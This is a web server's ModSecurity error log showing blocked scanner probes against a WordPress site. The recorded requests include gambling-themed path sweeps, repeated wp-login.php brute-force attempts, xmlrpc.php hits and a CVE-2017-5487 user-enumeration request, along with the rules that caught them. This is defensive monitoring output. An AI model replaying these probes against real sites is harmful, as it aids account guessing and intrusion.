[Wed May 06 21:22:04.896626 2026] [:error] [pid 9659:tid 9746] [client 147.135.213.218:59120] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aftAfPwJnWjd8JHpBtuVwAAAAMw"]
[Wed May 06 21:22:07.748661 2026] [:error] [pid 9789:tid 9813] [client 147.135.213.218:59124] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aftAfz_YStPJSCHPkUWaEgAAAFY"]
[Wed May 06 21:22:10.430052 2026] [:error] [pid 9664:tid 9771] [client 147.135.213.218:59126] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aftAggH4OZbrg1SjsBNLawAAAIk"]
[Wed May 06 21:22:12.982893 2026] [:error] [pid 482:tid 498] [client 147.135.213.218:53136] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aftAhMxs8HOc_nWgOW5YggAAAc4"]
[Wed May 06 21:22:15.503480 2026] [:error] [pid 13443:tid 13453] [client 147.135.213.218:53152] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aftAhwCyfZallDmsQredJQAAAUg"]
[Wed May 06 21:22:17.996787 2026] [:error] [pid 13443:tid 13468] [client 147.135.213.218:53166] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aftAiQCyfZallDmsQredJwAAAVc"]
[Wed May 06 21:22:20.678098 2026] [:error] [pid 13414:tid 13435] [client 147.135.213.218:53178] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aftAjEuJQpWjVpJTu_kiKAAAARM"]
[Wed May 06 21:22:23.172529 2026] [:error] [pid 9789:tid 9813] [client 147.135.213.218:35188] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aftAjz_YStPJSCHPkUWaHQAAAFY"]
[Wed May 06 21:22:25.775807 2026] [:error] [pid 9653:tid 9707] [client 147.135.213.218:35192] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aftAkahJ49Xc4dqq0B4WPAAAAAk"]
[Wed May 06 21:22:28.278710 2026] [:error] [pid 482:tid 509] [client 147.135.213.218:35194] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aftAlMxs8HOc_nWgOW5YlQAAAdc"]
[Wed May 06 21:22:30.969264 2026] [:error] [pid 592:tid 610] [client 147.135.213.218:35200] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aftAlpiX28mb6xLi2PywwwAAAo4"]
[Wed May 06 21:22:33.808968 2026] [:error] [pid 63810:tid 63814] [client 147.135.213.218:46602] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aftAmXpnbsN9Zf6i5IE9sAAAAYA"]
[Wed May 06 21:23:09.042069 2026] [:error] [pid 63810:tid 63830] [client 147.135.213.218:46608] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aftAvXpnbsN9Zf6i5IE94wAAAZA"]
[Wed May 06 21:23:11.832172 2026] [:error] [pid 9653:tid 9720] [client 147.135.213.218:43818] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aftAv6hJ49Xc4dqq0B4WrgAAABY"]
[Wed May 06 21:23:14.222884 2026] [:error] [pid 592:tid 611] [client 147.135.213.218:44408] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aftAwpiX28mb6xLi2Pyw6AAAAo8"]
[Wed May 06 21:23:16.681056 2026] [:error] [pid 9653:tid 9702] [client 147.135.213.218:44416] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aftAxKhJ49Xc4dqq0B4WwAAAAAQ"]
[Wed May 06 21:23:19.504148 2026] [:error] [pid 9789:tid 9815] [client 147.135.213.218:44426] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aftAxz_YStPJSCHPkUWaYgAAAFg"]
[Wed May 06 21:23:21.814495 2026] [:error] [pid 9659:tid 9755] [client 147.135.213.218:44432] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aftAyfwJnWjd8JHpBtuV7AAAANU"]
[Wed May 06 21:23:24.283080 2026] [:error] [pid 9789:tid 9792] [client 147.135.213.218:53224] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aftAzD_YStPJSCHPkUWaZwAAAEE"]
[Wed May 06 21:23:26.979998 2026] [:error] [pid 9664:tid 9786] [client 147.135.213.218:53238] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aftAzgH4OZbrg1SjsBNLvgAAAJg"]
[Wed May 06 21:23:29.406474 2026] [:error] [pid 592:tid 599] [client 147.135.213.218:53248] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aftA0ZiX28mb6xLi2Pyw9gAAAoM"]
[Wed May 06 21:50:25.029839 2026] [:error] [pid 482:tid 485] [client 91.137.27.140:53417] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aftHIcxs8HOc_nWgOW5d9AAAAcE"]
[Wed May 06 21:50:27.424911 2026] [:error] [pid 13414:tid 13423] [client 91.137.27.140:33105] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aftHI0uJQpWjVpJTu_kkQwAAAQc"]
[Wed May 06 21:50:30.005856 2026] [:error] [pid 13443:tid 13462] [client 91.137.27.140:48046] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aftHJgCyfZallDmsQree_QAAAVE"]
[Wed May 06 21:50:32.429636 2026] [:error] [pid 9653:tid 9715] [client 91.137.27.140:53443] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aftHKKhJ49Xc4dqq0B4dhgAAABE"]
[Wed May 06 21:50:35.020447 2026] [:error] [pid 9653:tid 9719] [client 91.137.27.140:53409] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aftHK6hJ49Xc4dqq0B4djQAAABU"]
[Wed May 06 21:50:37.422655 2026] [:error] [pid 482:tid 499] [client 91.137.27.140:48913] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aftHLcxs8HOc_nWgOW5eAwAAAc8"]
[Wed May 06 21:50:39.828173 2026] [:error] [pid 9653:tid 9717] [client 91.137.27.140:20179] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aftHL6hJ49Xc4dqq0B4dlgAAABM"]
[Wed May 06 21:50:42.255101 2026] [:error] [pid 63810:tid 63838] [client 91.137.27.140:8701] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aftHMnpnbsN9Zf6i5IE_dgAAAZg"]
[Wed May 06 21:50:44.668562 2026] [:error] [pid 482:tid 507] [client 91.137.27.140:57455] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aftHNMxs8HOc_nWgOW5eBwAAAdU"]
[Wed May 06 21:50:47.239548 2026] [:error] [pid 9653:tid 9708] [client 91.137.27.140:11218] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aftHN6hJ49Xc4dqq0B4dpwAAAAo"]
[Wed May 06 21:50:49.642600 2026] [:error] [pid 9653:tid 9722] [client 91.137.27.140:3000] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aftHOahJ49Xc4dqq0B4dtQAAABg"]
[Wed May 06 21:50:52.052426 2026] [:error] [pid 9789:tid 9792] [client 91.137.27.140:5494] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aftHPD_YStPJSCHPkUWfIwAAAEE"]
[Wed May 06 21:50:54.471598 2026] [:error] [pid 592:tid 605] [client 91.137.27.140:42594] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aftHPpiX28mb6xLi2PyzAwAAAok"]
[Wed May 06 21:50:56.856502 2026] [:error] [pid 9789:tid 9813] [client 91.137.27.140:55605] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aftHQD_YStPJSCHPkUWfJwAAAFY"]
[Wed May 06 21:50:59.253794 2026] [:error] [pid 9659:tid 9737] [client 91.137.27.140:46427] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aftHQ_wJnWjd8JHpBtuYkgAAAMM"]
[Wed May 06 21:51:01.643414 2026] [:error] [pid 9653:tid 9707] [client 91.137.27.140:62391] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aftHRahJ49Xc4dqq0B4d1gAAAAk"]
[Wed May 06 21:51:04.057891 2026] [:error] [pid 9653:tid 9720] [client 91.137.27.140:24118] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aftHSKhJ49Xc4dqq0B4d3QAAABY"]
[Wed May 06 21:51:06.463163 2026] [:error] [pid 482:tid 502] [client 91.137.27.140:32191] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aftHSsxs8HOc_nWgOW5eJAAAAdI"]
[Wed May 06 21:51:08.992194 2026] [:error] [pid 592:tid 596] [client 91.137.27.140:18483] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aftHTJiX28mb6xLi2PyzBgAAAoA"]
[Wed May 06 21:51:11.502401 2026] [:error] [pid 9659:tid 9740] [client 91.137.27.140:64124] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aftHT_wJnWjd8JHpBtuYlgAAAMY"]
[Wed May 06 21:51:14.024178 2026] [:error] [pid 482:tid 507] [client 91.137.27.140:38463] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aftHUsxs8HOc_nWgOW5eKgAAAdU"]
[Wed May 06 21:51:16.398587 2026] [:error] [pid 9789:tid 9800] [client 91.137.27.140:23977] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aftHVD_YStPJSCHPkUWfOQAAAEk"]
[Wed May 06 21:51:18.995673 2026] [:error] [pid 482:tid 492] [client 91.137.27.140:49578] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aftHVsxs8HOc_nWgOW5eMQAAAcg"]
[Wed May 06 21:51:21.512447 2026] [:error] [pid 9664:tid 9763] [client 91.137.27.140:5732] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aftHWQH4OZbrg1SjsBNO7gAAAIE"]
[Wed May 06 23:45:32.063127 2026] [:error] [pid 9653:tid 9708] [client 138.197.151.112:60097] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aftiHKhJ49Xc4dqq0B5GzwAAAAo"]
[Thu May 07 00:01:49.210943 2026] [:error] [pid 557:tid 580] [client 138.197.151.112:53199] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aftl7TZjFR8Vd8ce80A5wAAAAlU"]
[Thu May 07 00:18:09.182571 2026] [:error] [pid 9659:tid 9753] [client 138.197.151.112:57863] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aftpwfwJnWjd8JHpBtuqtAAAANM"]
[Thu May 07 00:34:22.428824 2026] [:error] [pid 482:tid 504] [client 138.197.151.112:50846] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afttjsxs8HOc_nWgOW6KBwAAAdQ"]
[Thu May 07 00:50:37.037369 2026] [:error] [pid 13414:tid 13421] [client 138.197.151.112:57389] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aftxXUuJQpWjVpJTu_k3jgAAAQU"]
[Thu May 07 01:07:00.689645 2026] [:error] [pid 9653:tid 9707] [client 138.197.151.112:64267] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aft1NKhJ49Xc4dqq0B5mVAAAAAk"]
[Thu May 07 01:15:48.969795 2026] [:error] [pid 9653:tid 9707] [client 216.73.162.117:65465] [client 216.73.162.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.162.117, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aft3RKhJ49Xc4dqq0B5qCAAAAAk"], referer: https://vetstars.com.au/
[Thu May 07 01:23:15.563588 2026] [:error] [pid 63810:tid 63821] [client 138.197.151.112:52659] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aft5A3pnbsN9Zf6i5IFQQAAAAYc"]
[Thu May 07 01:24:15.004144 2026] [:error] [pid 9789:tid 9807] [client 34.41.51.25:52594] [client 34.41.51.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.41.51.25, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aft5Pz_YStPJSCHPkUXQCwAAAFA"]
[Thu May 07 01:24:18.210577 2026] [:error] [pid 9789:tid 9796] [client 34.41.51.25:52594] [client 34.41.51.25] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aft5Qj_YStPJSCHPkUXQEAAAAEU"]
[Thu May 07 01:24:18.436443 2026] [:error] [pid 9789:tid 9804] [client 34.41.51.25:52594] [client 34.41.51.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.41.51.25, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aft5Qj_YStPJSCHPkUXQEQAAAE0"]
